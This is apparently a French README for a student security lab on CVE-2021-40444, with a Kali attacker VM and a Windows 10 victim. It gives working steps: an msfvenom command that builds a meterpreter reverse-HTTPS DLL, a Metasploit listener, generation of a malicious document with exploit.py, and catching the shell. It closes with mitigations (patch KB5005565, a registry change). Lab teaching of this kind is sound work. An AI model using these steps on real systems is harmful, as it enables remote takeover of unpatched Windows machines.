TIC4301_Project
Projet TIC4301 - CVE-2021-40444
Téléchargez les boîtes Vagrant suivantes :
Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing
Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing
Importez les boîtes avec les commandes suivantes via vagrant :
- vagrant box add kali_package.box
- vagrant box add victim_package.box
- vagrant init kali_package.box
- vagrant init victim_package.box
- vagrant up
Configuration (win10) :
- Dans la boîte win10, connectez-vous en tant qu'administrateur avec le mot de passe vagrant.
- Faites un clic droit sur script.ps1 sur le bureau et exécutez-le avec PowerShell. (Laissez cette fenêtre ouverte)
- Exécutez ipconfig.exe et obtenez l'adresse de cet hôte.
Configuration (Kali) :
- cd Desktop/CVE-2021-40444.
- Générez votre DLL malveillante avec msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
- Démarrez un listener dans Metasploit.
- Générez le document malveillant. # python3 exploit.py generate test/calc.dll http://
- visitez http://<win 10 IP>/upload et téléversez le fichier.
- écoutez le shell.
Mesures d'atténuation :
- Installez le correctif KB5005565.
- Modifiez la base de registre Windows avec patch.reg dans le dépôt.